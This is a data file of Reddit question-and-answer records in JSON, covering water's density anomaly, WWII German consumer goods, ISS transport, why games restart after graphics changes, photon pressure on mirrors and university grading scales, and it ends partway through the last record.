{"q_id": "2pggqy", "title": "Why does water show anomalous behaviour of expansion ?", "selftext": "Water expands from 4 degrees to 0 degrees temperature, this is deviation from general behaviour of fluids.\n\nWhy water show this behaviour ?\n\nWas Water 'designed' such by 'someone' so life in water can survive and evolution can happen as life on earth began from water ?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2pggqy/why_does_water_show_anomalous_behaviour_of/", "answers": {"a_id": ["cmwmesp"], "score": [4], "text": ["The jury is still out on this one. What we know is that it has something to do with the hydrogen bonding behaviour of water. \n\nThere are two related scenarios that seem plausible. Both have in common the notion that the normal pressure phase ice Ih has a lower density than liquid water due to forming a strong tetragonally coordinated crystal. We might then expect that some ice-like low-density liquid exists at higher temperatures. These two different phases of water are called high-density and low-density liquid, which might coexist to some extent. \n\nThe two scenarios I mentioned differ in one important detail: We might expect a phase transition to occur between the high-density and the low-density form of water. Such a phase transition could be expected to end in a critical point. In the first scenario, called the LLCP (liquid-liquid critical point) model, the critical point would be at positive pressure. while in the \"critical-point free\" scenario, it would be at negative pressure, so a liquid-liquid phase transition would occur at all positive pressures. In the LLCP, cooling water decreases its density below 4\u00b0C because you are moving through the \"shadow\" of this critical point, while in the CPF scenario, you would deal with a possible coexistence of regions with LDL and HDL.\n\nUnfortunately, water undergoes homogeneous nucleation before the postulated critical point could be reached experimentally. Tricks have to be applied to do this, and a final conclusion can not yet be drawn. [Here](_URL_0_) is a recent scientific article about the topic by Angell\n\nAs for whether someone has 'designed water to sustain life', this is a matter of belief. Scientifically, it's a possibility, but a non-sequitur - simply observing things being as they are cannot be used as evidence that \"somebody\" must have created them. The anthropic principle states that we should not be surprised to have evolved in conditions where life can evolve, because duh! I will refrain from further indulging religious thoughts here, and hope other posters will follow suit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/nmat/journal/v13/n7/full/nmat4022.html"]]}
{"q_id": "2dx00i", "title": "Why do the Germans no longer practice the Goose Step?", "selftext": "It was a form of marching originating from the Napoleonic era, why is it no longer used? Did some kind of laws forbid its use?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2dx00i/why_do_the_germans_no_longer_practice_the_goose/", "answers": {"a_id": ["cjtxb5s"], "score": [5], "text": ["It was a form of marching heavily associated with the prussian military tradition. \n\nThe idea is that when it done in formation it is very intimidating to hear  and a demonstration of superior discipline.\n\nEven the german word for the marching style: \"Stechschritt\" (literally stabbing step) hints at the idea of intimidation. \nThe Wehrmacht both prior and after WWI retained its use as a celebration of Prussias military tradition.\n\nHowever after WW2 it became assotiated with the WWII Wehrmacht and consequently fell into disuse. Though there is no law against it, it is still mostly considered associated with Nazis, at least in germany.\n\nAnd that is something few germans, military or otherwise want to assotiate with. \n\n\nSince they are uninhibited by the assotiation, it today almost exclusively used by armies that developed from soviet military traditions.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "61q10r", "title": "During WW2, how did Germany get goods like coffee, tea, tobacco and chocolate if it was completely surrounded and blockaded by the allies?", "selftext": "Obviously most civilians lacked access to many of these goods, and artificial supplements for things like rubber and oil were produced. But considering how long Germany was effectively cut off from any trade, and considering how most of the places such goods were produced in were at war, how did even the elites obtain these goods?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/61q10r/during_ww2_how_did_germany_get_goods_like_coffee/", "answers": {"a_id": ["dfh1ln1"], "score": [10], "text": ["**Part I**\n\nThe German civilian experience of the First World War was one characterized by considerable shortcomings of consumables. Not only did luxury items like chocolate or tobacco disappear, but so too did essential foodstuffs like fats and meats. The long memory of civilian privation weighed very heavily on the leadership of the Third Reich. Although public rhetoric often stressed Germans' devotion to duty was greater than the desire for non-essential luxuries, there was a serious concern that there would be a repeat of the collapse of civilian morale in 1918. Thus the state sought to simultaneously ameliorate these shortages while simultaneously asserting Germans could do without them. The Third Reich adapted an overlapping three-prong strategy to provide consumer goods like tobacco and coffee. \n\nAlthough the British blockade was keenly felt since 1939, it did not have absolute control over the continent. British naval power could not reach into the Balkans, which German economic initiatives in the 1930s had sought to transform the German trade into a demi-colonial relationship whereby the Balkans provided commodities in exchange for German finished goods. Tobacco production in Bulgaria, Yugoslavia, and Greece increasingly served the German market and the outbreak of the war accelerated these trends. Additionally, overland contact with Turkey, and after 1940, Spain, allowed a window of sorts to the West for a trickle of products to come through into occupied Europe. In more than a few ways, these trading relationships replicated the First World War use of the Dutch by Germany as a means to evade the Entente blockade. As small-power neutrals, there were limits to how much they could provide either from domestic stores or by exporting their imports, but it was a cheap means in both wars to evade the blockade. \n\nTurkey's economic relationship with the Reich was emblematic for this neutral trade. Ankara initially tried to play both warring sides off each other when war first broke out in 1939, making near-identical demands on Germany and Britain for finished goods and military equipment as the price for stopping or continuing the German trade. The Fall of France and the British need to rebuild its army after losing the BEF's equipment in Dunkirk gave Germany a temporary advantage. A July 1940 trade agreement allowed for Turkish goods ranging from strategic metals like chromium to such sundries as tobacco and dried fruits in exchange for German machine tools, locomotives, and military equipment. This initial bilateral agreements treaty laid the foundations for the subsequent Clodius agreements in 1941, which established the sale of 100 million RM of military equipment in exchange for Turkish raw materials and consumables. By 1943, Germany was Turkey's largest trading partner, much to the consternation of the Allies and some Turkish diplomats who saw the writing on the wall for the Axis. Yet, contrary to the hand-wringing against the Turkish trade in various Allied capitals, the Turks did gain from this arrangement. So long as the Germans were desperate for these materials, Turkish neutrality was assured. Additionally, the bilateral trade of war equipment also further guaranteed Turkey emerged from the war in a greater position of strength than if it had simply been an impartial neutral. The trade itself was not sufficient to meet all of Germany's needs, whether for strategic or civilian consumption, so it gave Ankara a degree of flexibility when confronting the Allies as Germany began to lose the war. \n\nThe neutral trade though could not entirely cover Germany's needs. Not surprisingly, Germany often plundered occupied Europe when it came to providing civilian luxuries. The Hunger Plan, a plan to systematically starve the Soviet population to feed the occupation, was only the most extreme of this type of plunder economy. In Western Europe and Scandinavia, German plundering came both from above and below. Occupation authorities had broad powers to expropriate warehouses and other materials deemed necessary for the war effort, and that included luxury consumables and other items necessary for homefront morale. One example of this was in the summer of 1942 where the Goering's officials combed through Western European inventories of toys and bought them at debased prices where they could be prepped and shipped to bombed out German cities at Christmas time that year (yes, the Nazis stole toys!). State procurement agencies bought up the preexisting supplies of such goods and Metz soon emerged by 1940 as a major hub for returning these goods back to the Reich for distribution. The state itself had experience with this type of plunder and redistribution because of its antisemitic Aryanization policies. The SS had already systematized the forced sale of Jewish property with the occupation of Austria in 1938 and such experience was put to good use both in the Aryanization of Western Europe as well as the fleecing of gentiles under German occupation.\n\nBut not all the pressure on Western Europe came from state agencies. One of the peculiarities of German occupation was that its troops were paid in the occupied country's currency, but at highly advantageous terms for the RM. Thus an average soldier's purchasing power was far greater in France or Norway than it was in the Reich proper. The initial year of occupation saw an orgy of German soldiers purchasing luxuries that were already rare in the 1930s at what amounted to firesale prices for the sellers. Although some in the German occupation apparatus recognized that this was a self-defeating occupation policy as it created inflation, such fears gained very little traction among a leadership that had already set an example of systematic plundering and ignoring the ramifications of bad financial decisions. American observers of Germany in 1940 and 1941 such as *Life* magazine often noted that while the British blockade had eliminated overseas access to goods, a number of Germans were eating Belgian chocolates and smoking French cigarettes. This double pressure from above and below depleted the pre-occupation stocks of these luxury consumables and soon began to eat into essential foodstuffs as well. \n\nBut like the neutral trade, plunder could only go so far both in terms of strategic materials and consumables. Naturally, the Third Reich also sought to use *ersatz* substitutes for both to rectify shortcomings. Some substitutions came naturally, such as the use of beet sugar to replace cane sugar, but others were more tricky. Efforts to find synthetic or natural substitutes built both on prewar research as well as First World War precedents. Synthetic rubber and oil helped alleviate the shortages from the blockade and helped ensure the German war machine did not completely grind to a halt. In terms of consumables, *ersatz* substitutes came both from the state and from individuals with experience from the last war. Gathering  nettles and other homeopathic plants, for instance, was one of the wartime activities of the HJ and BDM. Such activities called to mind the desperation of the last winters of the First World War and the Third Reich's authorities walked a fine line between extolling the toughness of the German public while simultaneously hoping science would prevent a repeat of the Turnip Winter of 1916/17.\n\nCoffee was a prime example of the German *ersatz* to consumables. Unlike tobacco or olive oils, neutrals could not produce enough domestic beans to satisfy German demands. One solution was drink coffee \"Saxon-style,\" also mocked as *Bl\u00fcmchenkaffee* (flower coffee) so named because one [can see the porcelain decorations](_URL_0_) at the bottom of the cup, in which brewed coffee very weakly. Chicory or acorn coffee was also common and sometime adulterated the real beans to produce something that, to paraphrase Douglas Adams, was almost, but not quite, entirely unlike coffee. These coffee substitutes often received various derogatory nicknames far worse than *Bl\u00fcmchenkaffee* among the German public; some of these names targeted the state such as \"Horst Wessel-coffee\" (the \"brown' was there only in spirit) to others indulging in racism such as variations on *Neger* such as \"Negro Sweat.\" Nevertheless, the state recognized that coffee, even if *ersatz*, was a vital part of civilian morale. Winter care packages to soldiers' families usually included some form of \"coffee\" and German air raid authorities typically provided coffee, called *Zitterkaffee/mocha* (jitters coffee), to bombed-out civilians to calm the nerves of those who suffered from Allied bombs. Yet, despite all these efforts, the Third Reich never really solved its coffee problem and this commodity was one of the most sought after on the German black market, especially real beans, and the prices black marketeers could demand were quite high. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/a/a7/Bl%C3%BCmchenkaffee.JPG"]]}
{"q_id": "adm6fp", "title": "how's 'something given in payment' related to the other meanings of 'consideration'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/adm6fp/eli5_hows_something_given_in_payment_related_to/", "answers": {"a_id": ["edi9xyb"], "score": [2], "text": ["Edit: this is my very basic understanding and I am not in the financial industry so if I\u2019ve got anything incorrect here please correct me!\n\nI believe This comes from really early days where you can pay for something in cash, or you can pay for something in \u2018consideration or kind.\u2019 \u2018Kind\u2019 means you swap your goods/trade for their goods/trade. Consideration in its most basic form means that you owe someone a favour. \n\nSo if you\u2019re a baker and you provide someone with a loaf of bread, then they get a cow and you need milk you would expect them to \u2018consider\u2019 what they have been given. \n\nThink about how your definition of \u2018consideration\u2019 means to \u2018take something into account.\u2019 This is exactly what \u2018accounting\u2019 is in its early form - keeping track of what people owe each other.\n\nOf course people pretty well use money nowadays and laws have tightened around this as consideration isn\u2019t a very reliable method so it\u2019s nowhere near as relevant as it used to be. \n\nDoes that answer your question?\n\nEdit: fixed typo"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16gjda", "title": "How is sugar removed from bottled lime juice?", "selftext": "I purchased a bottle of lime juice from the supermarket with the intent of using it in mixed drinks. I realized that while it professed to be \"100% lime juice from concentrate,\" it was also labeled as containing no sugar. By what method(s) could the sugar originally present in the limes have been removed?\n\nEDIT: the nutrition information says 0 grams of sugar, so it's not just \"no sugar added.\"", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16gjda/how_is_sugar_removed_from_bottled_lime_juice/", "answers": {"a_id": ["c7vvszc"], "score": [6], "text": ["Limes have near-zero sugar content. They're a rare fruit in that aspect. For comparison, here is the [nutrition label for a raw medium lime](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sunkist.com/healthy/nutrition_facts.aspx#lime"]]}
{"q_id": "2cwpt7", "title": "how can russia 'kick' us astronauts out of the iss, if its an international project?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cwpt7/eli5_how_can_russia_kick_us_astronauts_out_of_the/", "answers": {"a_id": ["cjjr915", "cjjrcu0", "cjjs9lx", "cjjwpfu"], "score": [65, 2, 29, 2], "text": ["Russia has the only transportation to/from the ISS. If they don't want to transport US astronauts we can't force them.", "Russians own the car and control the road trip.  \n", "Since the US discontinued the shuttle program we had to ask the Russians for rides.  Until the whole Russia/Crimea debacle occurred and the Russians won't let the US ride along anymore.\n\nFortunately we still have two private US companies that can transport our astronauts to space (as well as other things.)  So Russia kicking us off their transports could be great for companies like SpaceX.  Elon Musk, owner of SpaceX, actually talked about this in his recent interview with Colbert.\n\n_URL_0_\n\nedit:  I was wrong, SpaceX just does cargo but they're working on manned flights to orbit!  Very cool, exciting stuff. \n\n_URL_1_\n", "Short-sighted government stopped man space flight in our country so we have to hitch rides with the Russians. But, now they aren't our friends and we have no way into space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=z_pUDu1oAsA", "http://www.nasa.gov/content/nasa-partner-spacex-unveils-human-carrying-dragon-v2/#.U-VRTPldXAY"], []]}
{"q_id": "8v1pyw", "title": "why do some video games require a restart when altering the graphical settings, and other games do not?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8v1pyw/eli5_why_do_some_video_games_require_a_restart/", "answers": {"a_id": ["e1ju0oy", "e1ju9yv", "e1jyj69", "e1jyojq", "e1jz61t", "e1k57nf", "e1k9ggd", "e1ke4bf", "e1ke64q", "e1keign", "e1ksc37", "e1kxgl3", "e1lcwjw", "e1lg511"], "score": [2, 723, 176, 186, 5848, 83, 2, 7, 6, 2, 2, 3, 2, 2], "text": ["Because certain things like higher resolution, lighting effects, HD textures, etc, cannot just change in a game since they where never loaded into memory to begin with or these effects also require a restart because the graphics engine needs to redraw all the new layers of effects and can't manage them without doing it from the beginning.\n\nOther things like perhaps detailed shadows, anti - aliasing can be effects that don't require a restart to process them because they are already in memory but can simply be turned on or off to display them.", "Every game has to be able to load assets on startup, but changing things on the fly can sometimes take a lot more work, especially if the thing you're trying to change serves as a foundation for many other parts of the game. Sometimes the extra work for the developers is justifiable, sometimes it isn't.  Sometimes you'd basically be re-loading everything anyway. For example, if you're changing texture resolution, you might want to completely re-load in order to use a more efficient memory mapping, instead of working around what you've already allocated for the old settings.", "There are some big changes that are difficult to make on the fly, so many game developers just say 'screw it, make the player restart the game, we don't have time for this'.\n\nThink of packing for holiday - usually it's easy to add or take one thing at the top (change the level of antialiasing), but good luck replacing the shirt that you put at the very bottom of your luggage without taking everything out (change the texture quality). Then it's just easier to repack everything.", "Source: Game designer/programmer with experience in Unity, Unreal, Allegro, SDL, and a little OpenGL.\n\nYou're getting a lot of answers here, but only some of them are right for any given game/program. Every game is going to handle things differently, because every game's graphics pipeline is going to be different.\n\nOne such 3D pipeline might work like this:\n\n* Game calculates (on CPU) where objects in the world are positioned\n* Game passes this information to the GPU\n* GPU calculates what part of the world can be seen from the camera, using is frustrum (imagine a pyramid with the point chopped off)\n* GPU draws the world, using triangles (e.g. a simple square takes two calculations -- but GPUs are really, really good at this)\n* GPU then re-draws to apply shaders (this can happen a lot of times if you have many shaders and/or multi-pass shaders)\n* GPU sends a frame to the operating system to display on the monitor\n\nKeep in mind that this process has to happen very quickly; if you're playing at 60 frames per second, you have to draw each frame in 0.01666... seconds. Dropped frames occur when it takes too long to complete part of the process. Here's a perfect example of why it's hard to get one answer for you: some games will hold off everything to finish getting that frame on screen, some will calculate what happens but stop rendering until the frame is finished. You could code it to only calculate some things, or even to throw up what you have and move on.\n\nThis whole process relies on several things being in place already. For example, models (3D shapes) and textures (images \"painted\" onto the models) need to exist. Shaders need to be written, enabled, and given objects or cameras to apply to. These are, at the most basic level, just files. Textures can be png, shaders can be opened with notepad, and models can sit on your computer even if you don't have software to read them.\n\nAnother major hardware component is RAM, often called memory. There difference between RAM and a hard drive is you trade out storage space for speed -- a *lot* of speed. If the operating system had to query the hard drive (even a solid state) for texture information several times a frame, we'd be playing slide shows. So we put all this data into hardware designed to move information quickly between CPU, GPU, and other programs loaded into RAM (such as the operating system), at the cost of not holding much data at once.\n\nUnfortunately, moving data from HDD/SSD to RAM happens at the speed of your HDD/SSD, because it's slower. This is why loading screen happen. Since you have so much extra work to do, you're likely going to take longer than 0.016666... seconds to draw your frame, so you get to choose between loading slowly but at good performance or loading quickly with poor performance.\n\nI know this is talking a lot about framerate instead of why the pipeline is hard to change on the fly, but we're getting there, I promise. At this point, problems start to come down to the choices of various coders.\n\nIs it acceptable to have the game stutter and choke when the player adjusts the settings? If so, the game programmer can allow those settings to change during gameplay. Simpler changes are more likely to pass this test.\n\nIs it acceptable for the engine to allow certain elements to change on the fly? If the camera is altered, does that play nice with how the engine reads the shaders and such? Questions like these are answered by a different set of programmers doing a different job. The point of an engine is to create a workspace for game programmers that flows smoothly from task to task without causing too many issues; a choice here affects how we do things there, an optimization in this area comes at the cost of tasks in that area, etc. A game programmer can change this if and only if they have the time and ability to change the engine itself.\n\nEngine programmers have to answer to graphics API programmers. The engine (and therefore the game) does not talk directly to the GPU or the operating system; these have to go through a graphics API. The engine says \"SDL, I would like a window to display my program in\" and SDL says \"give me your window size, the border details, whether you want it to be resized or not, and I'll talk to Windows for you\". The people who engineer the API have to go through a similar process as the people making the game engine. Thus, anything the graphics API can't do isn't available to the game engine or the game programmer.\n\nThis goes down another level to the operating system (perhaps Windows) and the GPU's language (perhaps OpenGL). Anything those can't do trickles back to the game programmer.\n\nSo, want to change how much bloom there is? Might be the shader developer made it so you can pass in a number and intensify/diminish the effect. On the other hand, might be the engine doesn't like passing in variables to shaders because that slows the pipeline, so you need to unload that shader and load in a different one. (I'd hope not, but it could happen.) This might necessitate rebooting the client.\n\nAnother example is screen size. Remember when we were talking about SDL getting all the information about your game window before it made the screen? Maybe another API will let you change the window size on the fly, or maybe it doesn't. If it can't, it'll take a note somewhere (config.ini is a good friend) so it knows what to tell the API when it boots up next.\n\nThese examples aren't perfect, and anyone with experience will point out the mistakes I've made (graphics programming is far from my speciality). But I hope they give you the gist of what's going on behind the scenes: there's a number of layers where programmers had to look at their options and make choices about what they would allow the next user to do. Sometimes they agree that it's ok to make the end-user wait a moment, or to sacrifice some performance t in places so they have more options. Other times they favor a smoother experience, or just don't have the tools to do what they want because of other strengths coded in. And also together, that means different options menus get handled differently.", "The ELI5 answer is simplicity. Stuff gets loaded when opening a program. If I don't want to code a way for that stuff to change while the game is open, I force a reboot. This sacrifices usability for code simplicity (or development speed).", "Let's say that you are making a quilt with fire trucks on it.  Like a rational human being, you make the fire trucks red.  However after presenting the quilt to your customer they tell you that yellow fire trucks are the new hotness and so the fire trucks on the quilt absolutely MUST be yellow.  Assuming that ignoring the customer isn't an option, you can do one of two things:\n\n1) Carefully dismantle the quilt, and put it back together again with the different color.\n2) Throw the entire quilt away and start from scratch.\n\nChanging graphics settings can be somewhat similar, sometimes.  Depending upon how the game's architecture is built, changing a setting is easiest to accomplish by just throwing everything away and starting over - i.e. restarting the application.", "It's a lot of extra effort to support all combinations without restarting,  and value really isn't that high.", "Programming is like teaching the computer how to do things.  Teaching the computer how to change graphics settings without restarting is possible, but hard.  So, often programmers would rather spend their time teaching the computer how to skip cutscenes, autosave at smart times, recover from bugs, change key bindings, or all the other things that can make a game more fun to play.", "Games that pre-allocate memory based on graphics settings and can't dynamically change that require restarts.", "First game I remember seeing do this was Soul Reaver. There was a whole animated sequence of Raziel forcing a door open and going through into the next area,  which covered the load for the next map. Commonplace these days, but back when that game launched,  the first time that happened was a real \"whooooooaaaaaa, holy shit\" moment. Made that game crazy immersive. \n\nDamn, now I want Crystal Dynamics to get  the original voice cast back and do a total reboot of Legacy of Kain.", "I find that games that allow you to change your graphics setting and reload everything as you change are coded much better and more efficiently than those that don\u2019t. \n\nOf course it always isn\u2019t the case, but you can probably expect a higher level of quality from these games just from this simple cue. ", "As a hardware engineer, another issue that happens is some hardware chips internal configuration can be load once die to the chips hardware limitations, or, it can't be changed while running without being left in an unpredictable state (internal registers), this is rare but happens. Its generally not this, it's that software all runs a lot of complex Multitasking operations that are not aware of what is happening on the fly, they get told how to do their job while running, if you change the configuration while the other tasks are using it they can get unpredictable results, imagine opening the fridge door then someone turns it into an oven without telling you and you reach in to grab milk", "Imagine you\u2019d like to change your underwear after putting on pants. Very difficult. You\u2019d need to take your pants off, take off your current underwear and put new ones on and then finally put your pants back on (restart).\n\nSome graphic settings affect those first layers; while others are the outer layers. Simply changing pants is easier than the underwear; and thus, no full restart needed.\n\n", "Maybe a literal ELI5 answer would involve LEGOs. You build a goblin airship out of LEGOs, then someone says \"now change the platform and support pieces with all these black pieces instead of the brown ones\". Okay, some of the pieces are easy to just remove and replace, but some of them require other pieces to be taken off. Depending on the design, you might end up having to take a lot more of the thing apart than just the platform you are replacing. Can you keep it looking like the goblin airship the whole time? Depending on the design, maybe not, or you might even have to make custom temporary components just to make up for the fact that you can't just replace each piece one at a time and a few pieces are critical."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2xtgij", "title": "If a single photon bounces between two perfectly reflective mirrors indefinitely, would the mirrors continually accelerate away from each other? If so, where is that kinetic energy coming from?", "selftext": "I know that radiation pressure is a thing, but I'm fuzzy on the details. Does a photon bouncing between two mirrors (in a vacuum with no significant source of gravity) accelerate them away from each other? If so, the mirrors, in theory, could reach very high velocities relative to one another if given enough time. Where is that kinetic energy coming from?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xtgij/if_a_single_photon_bounces_between_two_perfectly/", "answers": {"a_id": ["cp37ntj", "cp38j7c", "cp3i23i", "cp3ntyg", "cp3weab", "cp3zr85"], "score": [748, 24, 10, 19, 8, 2], "text": ["Yes they would accelerate away from each other.\n\nAs a photon is reflected it undergoes a momentum change from p - >  -p . Due to conservation of momentum, this momentum deficit of 2p is transferred to the mirror.\n\nSinc the mirror has finite mass this results in a change of velocity of v=2p/m and a corresponding change in the kinetic energy of the mirror of 1/2 m * v^2 .\n\nThe photon as a result loses the corresponding amount of energy (which is a very small amount) and is redshifted to a lower frequency. This also means a reduction in its momentum since a photon's momentum is given by its frequency.\n\nOn repeated bounces the photon is redshifted further and further and drops to lower and lower energies and momenta, each successive bounce therefore transfers less and less of an impulse onto the mirrors.\n\nSo they couldn't reach very high velocities as there is so little energy in an individual photon to begin with but they are pushed apart.", "Mass is being converted to energy. The \"photon bouncing between two mirrors\" is actually an analog of the Higgs mechanism (the Higgs field plays the role of the mirrors and the originally massless particle plays the role of the photon). Even though the photon is massless, if you try to push on one of the mirrors, you will feel a resistance due to the pressure of the photon, and this resistance behaves exactly like inertia; the mirror you are trying to push (if it is massless) will act exactly (if you average over the photon reflections) as though it has a mass given by E=mc^2 where E is the energy of the photon. \n\nThese kinds of thought experiments are similar to those used by Einstein to show the equivalency of mass and energy.\n\nBack to your example, when the photon is trapped between two close mirrors (and neglecting the mass of the mirrors) the invariant mass of the system is given by E=mc^2 where E is the energy of the photon. As the photon reflects off each mirror and the mirror recoils, the photon loses a bit of energy (it is red-shifted), and the invariant mass of the system decreases by dE = dm c^2 . So the invariant mass of the system is being converted to kinetic energy.\n\n", "At first, the photons would just keep bouncing back and forth. However, as the mirrors started to gain speed, photons would be red-shifted upon each reflection due to Doppler shift. So the kinetic energy of the mirrors would balance with the photon energy. The photons would eventually be red-shifted into low-frequency radio waves.\n\nNow one practical concern with this experiment: absorption. OK enough about that, it's boring.\n\nThings are a bit more complicated than either of these pictures though. Space has vacuum energy. Energy just pops into existence. When you place two mirrors facing eachother, the energy that can pop into existence becomes limited. Certain wavelengths of electromagnetic energy become disallowed by that boundary condition. The result is very counter-intuitive: there is an attractive force between the mirrors!!! The entropy of vacuum fluctuations prefers a universe where the mirrors are touching, to maximize the number of electromagnetic waves that can spontanously pop into existence. The greater entropy of the universe as the mirrors approach eachother results in a \"force\" (derivative of energy over space). The attraction between mirrors due to vacuum fluctuations is known as the Casimir force and is one of the most awesome facts of physics that I know of!", "This is exactly the same as what would happen if you had a perfectly elastic ball between two plates. The plates would move apart, and the ball would lose that energy and slow down a bit.  The only difference is that when light loses energy/momentum, instead of slowing down it redshifts.", "A photon has no mass, but it *does* have momentum.  For any object we have (in units where c = 1)  E^2 - p^2 = m^(2), and for a photon m here is 0, so E = p, where p is the magnitude of the momentum vector.  (In units where c isn't 1, you'd say E = cp for a photon, but it's usually easier to understand this stuff without c's everywhere.)\n\nSo, let's say you have a perfectly elastic collision between a photon and a surface.  In any collision, momentum is conserved, but in an elastic collision, kinetic energy is also conserved.  The surface is part of an object with mass m, and it's at rest (in its own frame, anyway), with the photon coming directly at it, not at an angle.  Let's set that up, shall we?  Let v be the resulting speed of the surface.  Let E0 and p0 be the initial energy and momentum of the photon, and E1 and p1 be the final.  The momentum equation is:\n\np0 + 0 = p1 + mv\n\nThe kinetic energy equation is:\n\nE0 + 0 = E1 + (1/2)mv^2\n\nLet's say p0 is positive -- that is, the photon is traveling in the positive direction, whatever that is.  After it hits the surface, the surface will be going in the positive direction as well.  This means p0 is positive and mv is also positive, so p1  <  p0.  Now, we could just set E = cp, but that's a problem because the p we're using here can be negative if the photon happens to go backwards, and E is always positive.  E = c|p| is the actual way to write that relation.  This complicates things a bit, but we can still solve it.  Since (1/2)mv^2 is always \u2265 0 *anyway*, this means that E1  <  E0.  But how can we find out if p1 is positive or negative?  Well, it's simple: the photon is *always traveling at the speed of light*.  The surface it hits is not.  For an elastic collision, the photon can't *penetrate* the surface!  So it has to go back after it hits, meaning that p1 is negative.  With that in mind, knowing E1 = -cp1 (so p1 = -E1/c) and E0 = cp0 (so p0 = E0/c), we rewrite the first equation:\n\nE0/c = -E1/c + mv\n\nMultiply both sides by c:\n\nE0 = -E1 + mvc\n\nThe second equation says:\n\nE0 = E1 + (1/2)mv^2\n\nSo now we get to solve these two for E1 and v!  I'm going to save you the trouble because it's a pretty annoying computation, since the system of equations is quadratic in v, but we get v = sqrt(c^2 + 4E0/m) - c.  That's the new speed of the surface.  For a single photon and a reasonably sized object, 4E0/m is very, very, very, very tiny.  We can use the Binomial Theorem to approximate that: sqrt(a + x) \u2248 a^(1/2) + (1/2)a^(-1/2)x + higher order terms for x  <  <  a, and if we take a = c^2 and x = 4E0/m, we get v \u2248 2E0/mc.  E0/m is already tiny, and we're dividing that by a large speed c, so v is really very, very small.  From a single photon, anyway!\n\nAs for E1, it comes out to sqrt(m^(2)c^4 + 4E0mc^(2)) - mc^(2) - E0.  You recognize mc^(2)?  Einstein famously had a formula with this -- it's the amount of rest that an object of mass m has at rest!  I'm going to call it Es, the energy (at rest) of the surface.  This isn't *kinetic* energy.  In fact, this energy is mostly unavailable.  But it's useful in this computation, because what we get is E1 = sqrt(Es^2 + 4E0Es) - Es - E0.  We can approximate this too, but unfortunately this time we have to go to second order.  sqrt(a + x) \u2248 a^(1/2) + (1/2)a^(-1/2)x - (1/8)a^(-3/2)x^2 + higher order terms, which means that E1 = Es + (1/2)(1/Es)(4E0Es) - (1/8)(1/Es^(3))(16E0^(2)Es^(2)) + ... - Es - E0 \u2248 E0 - 2E0(E0/Es) = E0(1 - 2E0/Es).  We have to go to second order because, to first order, E1 \u2248 E0!  That doesn't tell us anything!\n\n**Now, here's the important bit.**  The energy of a photon is proportional to its frequency.  E = hf, where h is Planck's constant and f is the frequency (it's usually written as E = ~~h~~w, where ~~h~~ is the reduced Planck's constant h/(2\u03c0) and w is the angular frequency, in radians per unit time instead of cycles per unit time). So, when the photon hits this object with mass m (and energy of mc^2 = Es in its rest frame), the **frequency of the photon decreases by a factor of 1 - 2E0/Es**.  So a blue photon gets a little redder when it hits a mirror!\n\nTo answer your question, the kinetic energy comes straight from the photon's frequency, but it's a minuscule amount unless either the mirror is really, really, really small or the photon is really, really, really energetic!", "Let's do some back of the envelope calculations, shall we?\n\nSuppose each mirror weighs m =  1  & mu;g = 1e-9 kg, and the photon is an ordinary blue light photon at 4e-7 m. Its energy E is about 5e-19 J. If all of this energy is converted to the kinetic energy of the mirrors, they will finally move at the velocity of (sqrt(E/m)) ~ 0.00002 m/s. Which is quite measurable. \n\nIt would take infinite time to transfer all that energy though.\n\nThe momentum of the photon is ~1.7e-27 kg * m / s, the mirror gets about twice as much that, so the velocity is 3.4e-18 m/s. Each successive bounce will give the mirror slightly less momentum, but let's forget about it for a moment and assume it's the same amount each time. We need 1.3e13 bounces to reach that 0.00002 m/s figure. If the initial distance between the mirrors is 1 mm=1e-3 m, this number of bounces will be reached in about 3 days.\n\nGravity is actually smaller than this photonic pressure (the attraction force due to gravity is 6e-23 N, while the repulsion force due to the photonic pressure is 1e-16 N).\n\nPlease correct my caveman's physics."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "395lfa", "title": "why is a 'c' grade in american universities around 70-80%, where a 'c' grade in uk-based universities are around 50-60%?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/395lfa/eli5_why_is_a_c_grade_in_american_universities/", "answers": {"a_id": ["cs0intm", "cs0jm2i", "cs0kwft", "cs0l4vn", "cs0lo6n", "cs0lyjd", "cs0m0jw", "cs0vn2z", "cs1j3wm"], "score": [10, 46, 2, 90, 25, 4, 2, 5, 2], "text": ["It's not, always. At University there is a _huge_ amount of leeway as to what score equates to what grade, almost entirely at the whim of tenured professors. Many of my friends had engineering courses where 40% was a B+ grade and 20% was still passing. In my Aesthetics course I got an 89% on an exam which, because of the curve, became something like a 140% in order to bring a sufficient number of \"Collegiate Student-Athletes\" up to a passing grade. That was at the state university. At the private college I attended my Theology professor and my Honors professor used a 100-96/A 95-91/B 90-86/C 85-81/D -80F scale.", "In the UK, well in my experience, we don't use A, B, C etc. you either Fail (-40%), get a 3rd class honours (40-49%), a 2:2 (50-59%), a 2:1 (60-69%), or a first class honours (70%+)", "I can't speak to the UK grading system, but the US letter grade system originated in the late 1800s. \n\nThe rough idea was that a percentage grade indicates the amount of material learned, and to get a \"C\" or normal passing grade, a student should have learned over 75% of the material.\n\nBelow is a good summary of the early grading systems, leading up to the introduction of letter grades around 1900. Obviously, the details have changed since then, but the basic idea remains the same. 